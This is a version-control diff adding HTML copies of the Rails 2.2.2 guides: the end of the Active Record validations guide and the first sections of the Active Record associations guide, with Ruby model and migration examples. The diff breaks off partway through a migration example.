+  validates_presence_of <span style="color: #990000">:</span>surname<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name.nil?"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">5.3. Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</h3>
+<div class="para"><p>Finally, it's possible to associate <tt>:if</tt> and <tt>:unless</tt> with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_confirmation_of <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>a<span style="color: #990000">|</span> a<span style="color: #990000">.</span>password<span style="color: #990000">.</span>blank? <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_writing_your_own_validation_methods">6. Writing your own validation methods</h2>
+<div class="sectionbody">
+<div class="para"><p>When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the <tt>validate</tt>, <tt>validate_on_create</tt> or <tt>validate_on_update</tt> methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's <tt>errors</tt> collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Invoice <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> validate_on_create
+    errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>expiration_date<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be in the past"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">!</span>expiration_date<span style="color: #990000">.</span>blank? <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> expiration_date <span style="color: #990000">&lt;</span> Date<span style="color: #990000">.</span>today
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of <tt>validate</tt>, <tt>validate_on_create</tt> or <tt>validate_on_update</tt> methods, passing it the symbols for the methods' names.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Invoice <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validate <span style="color: #990000">:</span>expiration_date_cannot_be_in_the_past<span style="color: #990000">,</span> <span style="color: #990000">:</span>discount_cannot_be_more_than_total_value
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> expiration_date_cannot_be_in_the_past
+    errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>expiration_date<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be in the past"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">!</span>expiration_date<span style="color: #990000">.</span>blank? <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> expiration_date <span style="color: #990000">&lt;</span> Date<span style="color: #990000">.</span>today
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> discount_cannot_be_greater_than_total_value
+    errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>discount<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be greater than total value"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> discount <span style="color: #990000">&lt;=</span> total_value
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_changelog">7. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks">http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks</a></p></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/association_basics.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/association_basics.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/association_basics.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2585 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>A Guide to Active Record Associations</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_why_associations">Why Associations?</a>
+					</li>
+					<li>
+					<a href="#_the_types_of_associations">The Types of Associations</a>
+						<ul>
+						
+							<li><a href="#_the_tt_belongs_to_tt_association">The <tt>belongs_to</tt> Association</a></li>
+						
+							<li><a href="#_the_tt_has_one_tt_association">The <tt>has_one</tt> Association</a></li>
+						
+							<li><a href="#_the_tt_has_many_tt_association">The <tt>has_many</tt> Association</a></li>
+						
+							<li><a href="#_the_tt_has_many_through_tt_association">The <tt>has_many :through</tt> Association</a></li>
+						
+							<li><a href="#_the_tt_has_one_through_tt_association">The <tt>has_one :through</tt> Association</a></li>
+						
+							<li><a href="#_the_tt_has_and_belongs_to_many_tt_association">The <tt>has_and_belongs_to_many</tt> Association</a></li>
+						
+							<li><a href="#_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></a></li>
+						
+							<li><a href="#_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></a></li>
+						
+							<li><a href="#_polymorphic_associations">Polymorphic Associations</a></li>
+						
+							<li><a href="#_self_joins">Self Joins</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_tips_tricks_and_warnings">Tips, Tricks, and Warnings</a>
+						<ul>
+						
+							<li><a href="#_controlling_caching">Controlling Caching</a></li>
+						
+							<li><a href="#_avoiding_name_collisions">Avoiding Name Collisions</a></li>
+						
+							<li><a href="#_updating_the_schema">Updating the Schema</a></li>
+						
+							<li><a href="#_controlling_association_scope">Controlling Association Scope</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_detailed_association_reference">Detailed Association Reference</a>
+						<ul>
+						
+							<li><a href="#_the_tt_belongs_to_tt_association_2">The <tt>belongs_to</tt> Association</a></li>
+						
+							<li><a href="#_the_has_one_association">The has_one Association</a></li>
+						
+							<li><a href="#_the_has_many_association">The has_many Association</a></li>
+						
+							<li><a href="#_the_tt_has_and_belongs_to_many_tt_association_2">The <tt>has_and_belongs_to_many</tt> Association</a></li>
+						
+							<li><a href="#_association_callbacks">Association Callbacks</a></li>
+						
+							<li><a href="#_association_extensions">Association Extensions</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>A Guide to Active Record Associations</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the association features of Active Record. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Declare associations between Active Record models
+</p>
+</li>
+<li>
+<p>
+Understand the various types of Active Record associations
+</p>
+</li>
+<li>
+<p>
+Use the methods added to your models by creating associations
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_why_associations">1. Why Associations?</h2>
+<div class="sectionbody">
+<div class="para"><p>Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Or consider deleting a customer, and ensuring that all of its orders get deleted as well:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>find_by_customer_id<span style="color: #990000">(</span><span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span>
+<span style="color: #009900">@orders</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>order<span style="color: #990000">|</span>
+  order<span style="color: #990000">.</span>destroy
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy
+</tt></pre></div></div>
+<div class="para"><p>With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this change, creating a new order for a particular customer is easier:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Deleting a customer and all of its orders is <em>much</em> easier:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy
+</tt></pre></div></div>
+<div class="para"><p>To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.</p></div>
+</div>
+<h2 id="_the_types_of_associations">2. The Types of Associations</h2>
+<div class="sectionbody">
+<div class="para"><p>In Rails, an <em>association</em> is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model <tt>belongs_to</tt> another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>belongs_to</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_one</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_many</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_many :through</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_one :through</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>has_and_belongs_to_many</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.</p></div>
+<h3 id="_the_tt_belongs_to_tt_association">2.1. The <tt>belongs_to</tt> Association</h3>
+<div class="para"><p>A <tt>belongs_to</tt> association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/belongs_to.png" alt="belongs_to Association Diagram" title="belongs_to Association Diagram" />
+</span></p></div>
+<h3 id="_the_tt_has_one_tt_association">2.2. The <tt>has_one</tt> Association</h3>
+<div class="para"><p>A <tt>has_one</tt> association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/has_one.png" alt="has_one Association Diagram" title="has_one Association Diagram" />
+</span></p></div>
+<h3 id="_the_tt_has_many_tt_association">2.3. The <tt>has_many</tt> Association</h3>
+<div class="para"><p>A <tt>has_many</tt> association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a <tt>belongs_to</tt> association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The name of the other model is pluralized when declaring a <tt>has_many</tt> association.</td>
+</tr></table>
+</div>
+<div class="para"><p><span class="image">
+<img src="images/has_many.png" alt="has_many Association Diagram" title="has_many Association Diagram" />
+</span></p></div>
+<h3 id="_the_tt_has_many_through_tt_association">2.4. The <tt>has_many :through</tt> Association</h3>
+<div class="para"><p>A <tt>has_many :through</tt> association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding <em>through</em> a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Physician <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>appointments
+  has_many <span style="color: #990000">:</span>patients<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>appointments
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Appointment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>physician
+  belongs_to <span style="color: #990000">:</span>patient
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Patient <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>appointments
+  has_many <span style="color: #990000">:</span>physicians<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>appointments
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/has_many_through.png" alt="has_many :through Association Diagram" title="has_many :through Association Diagram" />
+</span></p></div>
+<div class="para"><p>The <tt>has_many :through</tt> association is also useful for setting up "shortcuts" through nested :<tt>has_many</tt> associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Document <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>sections
+  has_many <span style="color: #990000">:</span>paragraphs<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>sections
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Section <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>document
+  has_many <span style="color: #990000">:</span>paragraphs
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Paragraph <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>section
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_the_tt_has_one_through_tt_association">2.5. The <tt>has_one :through</tt> Association</h3>
+<div class="para"><p>A <tt>has_one :through</tt> association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding <em>through</em> a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account
+  has_one <span style="color: #990000">:</span>account_history<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>supplier
+  has_one <span style="color: #990000">:</span>account_history
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AccountHistory <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/has_one_through.png" alt="has_one :through Association Diagram" title="has_one :through Association Diagram" />
+</span></p></div>
+<h3 id="_the_tt_has_and_belongs_to_many_tt_association">2.6. The <tt>has_and_belongs_to_many</tt> Association</h3>
+<div class="para"><p>A <tt>has_and_belongs_to_many</tt> association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>parts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/habtm.png" alt="has_and_belongs_to_many Association Diagram" title="has_and_belongs_to_many Association Diagram" />
+</span></p></div>
+<h3 id="_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">2.7. Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></h3>
+<div class="para"><p>If you want to set up a 1-1 relationship between two models, you'll need to add <tt>belongs_to</tt> to one, and <tt>has_one</tt> to the other. How do you know which is which?</p></div>
+<div class="para"><p>The distinction is in where you place the foreign key (it goes on the table for the class declaring the <tt>belongs_to</tt> association), but you should give some thought to the actual meaning of the data as well. The <tt>has_one</tt> relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>supplier
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The corresponding migration might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateSuppliers <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>suppliers <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>name
+      t<span style="color: #990000">.</span>timestamps
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
